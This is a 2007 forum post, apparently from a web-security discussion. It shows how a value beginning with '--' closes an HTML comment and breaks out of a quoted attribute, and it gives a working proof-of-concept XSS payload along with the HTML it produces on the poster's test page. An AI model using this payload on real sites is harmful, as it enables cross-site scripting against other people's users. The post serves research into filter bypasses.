Wow there's a lot of response on this, excellent.
@thornmaker: It seems to me that opening any query that opens with --some-text> (or something similar) will work to break out of a quoted attribute if the variable is echoed both in the comment and then later in the attribute. I put up a little test page, [
tx.lowtechlive.com]
Basically, entering --end-comment><script>alert(String.fromCharCode(88,83,83));</script><a href=%23 as the value for $_GET['url'] causes the following html output (edited slightly to avoid linkification):
<!-- First the uri is echoed out, url encoded: url: h+tp://tx.lowtechlive.com/comment.php?url=--end-comment%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83));%3C/script%3E%3Ca%20href=%23 -->
Then the value of the _GET['url'] variable is echoed, replacing any double quotes with the html entity: <a href="--end-comment><script>alert(String.fromCharCode(88,83,83));</script><a href=#">Here is the link</a>
And the alert successfully fires.
EDIT: Note that everything between <!-- and --end-comment> is commented out.
-tx @ lowtech-labs.org
Edited 3 time(s). Last edit at 06/13/2007 04:00PM by tx.